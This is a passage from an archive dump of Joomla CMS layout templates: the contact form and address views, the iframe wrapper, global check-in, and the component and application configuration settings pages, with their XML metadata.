use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-contact__form contact-form">
    <form id="contact-form" action="<?php echo Route::_('index.php'); ?>" method="post" class="form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <?php if ($fieldset->name === 'captcha' && $this->captchaEnabled) : ?>
                <?php continue; ?>
            <?php endif; ?>
            <?php $fields = $this->form->getFieldset($fieldset->name); ?>
            <?php if (count($fields)) : ?>
                <fieldset class="m-0">
                    <?php if (isset($fieldset->label) && ($legend = trim(Text::_($fieldset->label))) !== '') : ?>
                        <legend><?php echo $legend; ?></legend>
                    <?php endif; ?>
                    <?php foreach ($fields as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                </fieldset>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($this->captchaEnabled) : ?>
            <?php echo $this->form->renderFieldset('captcha'); ?>
        <?php endif; ?>
        <div class="control-group">
            <div class="controls">
                <button class="btn btn-primary validate" type="submit"><?php echo Text::_('COM_CONTACT_CONTACT_SEND'); ?></button>
                <input type="hidden" name="option" value="com_contact">
                <input type="hidden" name="task" value="contact.submit">
                <input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
                <input type="hidden" name="id" value="<?php echo $this->item->slug; ?>">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </form>
</div>
contact/default_address.php000064400000014324151726042000012042 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;

$icon = $this->params->get('contact_icons') == 0;

/**
 * Marker_class: Class based on the selection of text, none, or icons
 * jicon-text, jicon-none, jicon-icon
 */
?>
<dl class="com-contact__address contact-address dl-horizontal" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
    <?php
    if (
        ($this->params->get('address_check') > 0) &&
        ($this->item->address || $this->item->suburb  || $this->item->state || $this->item->country || $this->item->postcode)
    ) : ?>
        <dt>
            <?php if ($icon && !$this->params->get('marker_address')) : ?>
                <span class="icon-address" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_ADDRESS'); ?></span>
            <?php else : ?>
                <span class="<?php echo $this->params->get('marker_class'); ?>">
                    <?php echo $this->params->get('marker_address'); ?>
                </span>
            <?php endif; ?>
        </dt>

        <?php if ($this->item->address && $this->params->get('show_street_address')) : ?>
            <dd>
                <span class="contact-street" itemprop="streetAddress">
                    <?php echo nl2br($this->item->address, false); ?>
                </span>
            </dd>
        <?php endif; ?>

        <?php if ($this->item->suburb && $this->params->get('show_suburb')) : ?>
            <dd>
                <span class="contact-suburb" itemprop="addressLocality">
                    <?php echo $this->item->suburb; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->state && $this->params->get('show_state')) : ?>
            <dd>
                <span class="contact-state" itemprop="addressRegion">
                    <?php echo $this->item->state; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->postcode && $this->params->get('show_postcode')) : ?>
            <dd>
                <span class="contact-postcode" itemprop="postalCode">
                    <?php echo $this->item->postcode; ?>
                </span>
            </dd>
        <?php endif; ?>
        <?php if ($this->item->country && $this->params->get('show_country')) : ?>
            <dd>
                <span class="contact-country" itemprop="addressCountry">
                    <?php echo $this->item->country; ?>
                </span>
            </dd>
        <?php endif; ?>
    <?php endif; ?>

<?php if ($this->item->email_to && $this->params->get('show_email')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_email')) : ?>
            <span class="icon-envelope" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_EMAIL_LABEL'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_email'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-emailto">
            <?php echo $this->item->email_to; ?>
        </span>
    </dd>
<?php endif; ?>

<?php if ($this->item->telephone && $this->params->get('show_telephone')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_telephone')) : ?>
                <span class="icon-phone" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_TELEPHONE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_telephone'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-telephone" itemprop="telephone">
            <?php echo $this->item->telephone; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->fax && $this->params->get('show_fax')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_fax')) : ?>
            <span class="icon-fax" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_FAX'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_fax'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-fax" itemprop="faxNumber">
        <?php echo $this->item->fax; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->mobile && $this->params->get('show_mobile')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_mobile')) : ?>
            <span class="icon-mobile" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_MOBILE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_mobile'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-mobile" itemprop="telephone">
            <?php echo $this->item->mobile; ?>
        </span>
    </dd>
<?php endif; ?>
<?php if ($this->item->webpage && $this->params->get('show_webpage')) : ?>
    <dt>
        <?php if ($icon && !$this->params->get('marker_webpage')) : ?>
            <span class="icon-home" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_WEBPAGE'); ?></span>
        <?php else : ?>
            <span class="<?php echo $this->params->get('marker_class'); ?>">
                <?php echo $this->params->get('marker_webpage'); ?>
            </span>
        <?php endif; ?>
    </dt>
    <dd>
        <span class="contact-webpage">
            <a href="<?php echo $this->item->webpage; ?>" target="_blank" rel="noopener noreferrer" itemprop="url">
            <?php echo $this->escape(PunycodeHelper::urlToUTF8($this->item->webpage)); ?></a>
        </span>
    </dd>
<?php endif; ?>
</dl>
wrapper/default.xml000064400000003551151726053500010402 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE" option="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Iframe_Wrapper"
		/>
		<message>
			<![CDATA[COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="request" label="COM_MENUS_BASIC_FIELDSET_LABEL">

			<field
				name="url"
				type="url"
				validate="url"
				filter="url"
				label="COM_WRAPPER_FIELD_URL_LABEL"
				required="true"
			/>
		</fieldset>
		<!-- Add fields to the parameters object for the layout. -->

		<!-- Scroll. -->
		<fieldset name="basic" label="COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS">
			<field
				name="width"
				type="text"
				label="JGLOBAL_WIDTH"
				default="100%"
			/>

			<field
				name="height"
				type="number"
				label="COM_WRAPPER_FIELD_HEIGHT_LABEL"
				default="500"
			/>
		</fieldset>

		<!-- Advanced options. -->
		<fieldset name="advanced">
			<field
				name="height_auto"
				type="radio"
				label="COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL"
				default="0"
				layout="joomla.form.field.radio.switcher"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="add_scheme"
				type="radio"
				label="COM_WRAPPER_FIELD_ADD_LABEL"
				description="COM_WRAPPER_FIELD_ADD_DESC"
				layout="joomla.form.field.radio.switcher"
				default="1"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="lazyloading"
				type="radio"
				label="COM_WRAPPER_FIELD_LAZYLOADING_LABEL"
				default="lazy"
				layout="joomla.form.field.radio.switcher"
				validate="options"
				>
				<option value="eager">JNO</option>
				<option value="lazy">JYES</option>
			</field>
		</fieldset>
	</fields>
</metadata>
wrapper/default.php000064400000003374151726053500010374 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$this->document->getWebAssetManager()
    ->registerAndUseScript('com_wrapper.iframe', 'com_wrapper/iframe-height.min.js', [], ['defer' => true]);

?>
<div class="com-wrapper contentpane">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                    <?php echo $this->escape($this->params->get('page_heading')); ?>
                <?php else : ?>
                    <?php echo $this->escape($this->params->get('page_title')); ?>
                <?php endif; ?>
            </h1>
        </div>
    <?php endif; ?>
    <iframe <?php echo $this->wrapper->load; ?>
        id="blockrandom"
        name="iframe"
        src="<?php echo $this->escape($this->wrapper->url); ?>"
        width="<?php echo $this->escape($this->params->get('width')); ?>"
        height="<?php echo $this->escape($this->params->get('height')); ?>"
        loading="<?php echo $this->params->get('lazyloading', 'lazy'); ?>"
        <?php if ($this->escape($this->params->get('page_heading'))) : ?>
            title="<?php echo $this->escape($this->params->get('page_heading')); ?>"
        <?php else : ?>
            title="<?php echo $this->escape($this->params->get('page_title')); ?>"
        <?php endif; ?>
        class="com-wrapper__iframe wrapper <?php echo $this->pageclass_sfx; ?>">
        <?php echo Text::_('COM_WRAPPER_NO_IFRAMES'); ?>
    </iframe>
</div>
checkin/emptystate.php000064400000001227151726070440011070 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_CHECKIN',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Maintenance:_Global_Check-in',
    'icon'       => 'icon-check-square',
    'title'      => Text::_('COM_CHECKIN_GLOBAL_CHECK_IN'),
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
checkin/default.php000064400000007153151726070440010321 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('multiselect');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo Route::_('index.php?option=com_checkin'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if ($this->total > 0) : ?>
                    <table id="global-checkin" class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_CHECKIN_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                            <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CHECKIN_DATABASE_TABLE', 'table', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CHECKIN_ITEMS_TO_CHECK_IN', 'count', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php $i = 0; ?>
                            <?php foreach ($this->items as $table => $count) : ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $table, false, 'cid', 'cb', $table); ?>
                                    </td>
                                    <th scope="row">
                                        <?php echo Text::sprintf('COM_CHECKIN_TABLE', $table); ?>
                                    </th>
                                    <td>
                                        <span class="badge bg-secondary"><?php echo $count; ?></span>
                                    </td>
                                </tr>
                                <?php $i++; ?>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
checkin/default.xml000064400000001155151726070440010326 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CHECKIN_CHECKIN_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CHECKIN_CHECKIN_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_CHECKIN_CHECKIN_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_checkin&amp;task=getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
component/default.php000064400000014021151726071210010703 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$app = Factory::getApplication();
$template = $app->getTemplate();

Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('form.validate')
    ->useScript('keepalive');

if ($this->fieldsets) {
    HTMLHelper::_('bootstrap.framework');
}

$xml = $this->form->getXml();
?>

<form action="<?php echo Route::_('index.php?option=com_config'); ?>" id="component-form" method="post" class="form-validate main-card" name="adminForm" autocomplete="off">
    <div class="row main-card-columns">
        <?php // Begin Sidebar ?>
        <div class="col-md-3" id="sidebar">
            <button class="btn btn-sm btn-secondary my-2 options-menu d-md-none" type="button" data-bs-toggle="collapse" data-bs-target=".sidebar-nav" aria-controls="sidebar-nav" aria-expanded="false">
                 <span class="icon-align-justify" aria-hidden="true"></span>
                 <?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>
            </button>
            <div id="sidebar-nav" class="sidebar-nav">
                <?php echo $this->loadTemplate('navigation'); ?>
            </div>
        </div>
        <?php // End Sidebar ?>

        <div class="col-md-9" id="config">
            <?php if ($this->fieldsets) : ?>
                <?php $opentab = 0; ?>

                <?php echo HTMLHelper::_('uitab.startTabSet', 'configTabs', ['recall' => true, 'breakpoint' => 768]); ?>

                <?php foreach ($this->fieldsets as $name => $fieldSet) : ?>
                    <?php
                    $hasChildren = $xml->xpath('//fieldset[@name="' . $name . '"]/fieldset');
                    $hasParent = $xml->xpath('//fieldset/fieldset[@name="' . $name . '"]');
                    $isGrandchild = $xml->xpath('//fieldset/fieldset/fieldset[@name="' . $name . '"]');
                    ?>

                    <?php $dataShowOn = ''; ?>
                    <?php if (!empty($fieldSet->showon)) : ?>
                        <?php $wa->useScript('showon'); ?>
                        <?php $dataShowOn = ' data-showon=\'' . json_encode(FormHelper::parseShowOnConditions($fieldSet->showon, $this->formControl)) . '\''; ?>
                    <?php endif; ?>

                    <?php $label = empty($fieldSet->label) ? 'COM_CONFIG_' . $name . '_FIELDSET_LABEL' : $fieldSet->label; ?>

                    <?php if (!$isGrandchild && $hasParent) : ?>
                        <fieldset id="fieldset-<?php echo $this->escape($name); ?>" class="options-menu options-form">
                            <legend><?php echo Text::_($fieldSet->label); ?></legend>
                            <div class="form-grid">
                    <?php elseif (!$hasParent) : ?>
                        <?php if ($opentab) : ?>
                            <?php if ($opentab > 1) : ?>
                                </div>
                                </fieldset>
                            <?php endif; ?>

                            <?php echo HTMLHelper::_('uitab.endTab'); ?>

                        <?php endif; ?>

                        <?php echo HTMLHelper::_('uitab.addTab', 'configTabs', $name, Text::_($label)); ?>

                        <?php $opentab = 1; ?>

                        <?php if (!$hasChildren) : ?>
                        <fieldset id="fieldset-<?php echo $this->escape($name); ?>" class="options-menu options-form">
                            <legend><?php echo Text::_($fieldSet->label); ?></legend>
                            <div class="form-grid">
                            <?php $opentab = 2; ?>
                        <?php endif; ?>
                    <?php endif; ?>

                    <?php if (!empty($fieldSet->description)) : ?>
                        <div class="tab-description alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_($fieldSet->description); ?>
                        </div>
                    <?php endif; ?>

                    <?php if (!$hasChildren) : ?>
                        <?php echo $this->form->renderFieldset($name, $name === 'permissions' ? ['hiddenLabel' => true, 'class' => 'revert-controls'] : []); ?>
                    <?php endif; ?>

                    <?php if (!$isGrandchild && $hasParent) : ?>
                        </div>
                    </fieldset>
                    <?php endif; ?>
                <?php endforeach; ?>

                <?php if ($opentab) : ?>
                    <?php if ($opentab > 1) : ?>
                        </div>
                        </fieldset>
                    <?php endif; ?>
                    <?php echo HTMLHelper::_('uitab.endTab'); ?>
                <?php endif; ?>

                <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

            <?php else : ?>
                <div class="alert alert-info">
                    <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONFIG_COMPONENT_NO_CONFIG_FIELDS_MESSAGE'); ?>
                </div>
            <?php endif; ?>
        </div>

        <input type="hidden" name="id" value="<?php echo $this->component->id; ?>">
        <input type="hidden" name="component" value="<?php echo $this->component->option; ?>">
        <input type="hidden" name="return" value="<?php echo $this->return; ?>">
        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
component/default.xml000064400000000735151726071210010723 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONFIG_COMPONENT_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONFIG_COMPONENT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request" addfieldprefix="Joomla\Component\Config\Administrator\Field">
			<field
				name="component"
				type="configComponents"
				label="JGLOBAL_CHOOSE_COMPONENT_LABEL"
				required="true"
			/>
		</fieldset>
	</fields>
</metadata>
component/default_navigation.php000064400000002213151726071210013122 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;

defined('_JEXEC') or die;
?>
<ul class="nav flex-column">
    <?php if ($this->userIsSuperAdmin) : ?>
        <li class="nav-header"><?php echo Text::_('COM_CONFIG_SYSTEM'); ?></li>
        <li class="item"><a href="index.php?option=com_config"><?php echo Text::_('COM_CONFIG_GLOBAL_CONFIGURATION'); ?></a></li>
        <li class="divider"></li>
    <?php endif; ?>
    <li class="nav-header"><?php echo Text::_('COM_CONFIG_COMPONENT_FIELDSET_LABEL'); ?></li>
    <?php foreach ($this->components as $component) : ?>
        <?php
        $active = '';
        if ($this->currentComponent === $component) {
            $active = ' active';
        }
        ?>
        <li class="item<?php echo $active; ?>">
            <a href="index.php?option=com_config&view=component&component=<?php echo $component; ?>"><?php echo Text::_($component); ?></a>
        </li>
    <?php endforeach; ?>
</ul>
application/default_webservices.php000064400000001036151726071210013607 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_WEBSERVICES_SETTINGS');
$this->fieldsname = 'webservices';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_cookie.php000064400000001007151726071210012535 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_COOKIE_SETTINGS');
$this->fieldsname = 'cookie';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_server.php000064400000001007151726071210012572 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_SERVER_SETTINGS');
$this->fieldsname = 'server';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_metadata.php000064400000001013151726071210013041 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_METADATA_SETTINGS');
$this->fieldsname = 'metadata';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_logging.php000064400000001011151726071210012705 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_LOGGING_SETTINGS');
$this->fieldsname = 'logging';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_cache.php000064400000001005151726071210012325 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_CACHE_SETTINGS');
$this->fieldsname = 'cache';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_database.php000064400000001013151726071210013025 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_DATABASE_SETTINGS');
$this->fieldsname = 'database';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_debug.php000064400000001005151726071210012350 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_DEBUG_SETTINGS');
$this->fieldsname = 'debug';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_site.php000064400000001003151726071210012224 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_SITE_SETTINGS');
$this->fieldsname = 'site';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_locale.php000064400000001011151726071210012516 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_LOCATION_SETTINGS');
$this->fieldsname = 'locale';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_mail.php000064400000002732151726071210012214 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

defined('_JEXEC') or die;

HTMLHelper::_('form.csrf');
$this->document->getWebAssetManager()
    ->useScript('webcomponent.field-send-test-mail');

// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

// Add strings for JavaScript error translations.
Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
Text::script('JLIB_JS_AJAX_ERROR_OTHER');
Text::script('JLIB_JS_AJAX_ERROR_PARSE');
Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT');

// Ajax request data.
$ajaxUri = Route::_('index.php?option=com_config&task=application.sendtestmail&format=json');

$this->name = Text::_('COM_CONFIG_MAIL_SETTINGS');
$this->fieldsname = 'mail';
$this->formclass = 'options-form';

?>

<joomla-field-send-test-mail uri="<?php echo $ajaxUri; ?>">
    <?php echo LayoutHelper::render('joomla.content.options_default', $this); ?>

    <button class="btn btn-primary" type="button" id="sendtestmail">
        <span><?php echo Text::_('COM_CONFIG_SENDMAIL_ACTION_BUTTON'); ?></span>
    </button>
</joomla-field-send-test-mail>
application/default_proxy.php000064400000001005151726071210012443 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_PROXY_SETTINGS');
$this->fieldsname = 'proxy';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default_logging_custom.php000064400000001027151726071210014306 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

defined('_JEXEC') or die;

$this->name = Text::_('COM_CONFIG_LOGGING_CUSTOM_SETTINGS');
$this->fieldsname = 'logging_custom';
$this->formclass = 'options-form';

echo LayoutHelper::render('joomla.content.options_default', $this);
application/default.php000064400000007727151726071210011223 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

// Load JS message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');
?>

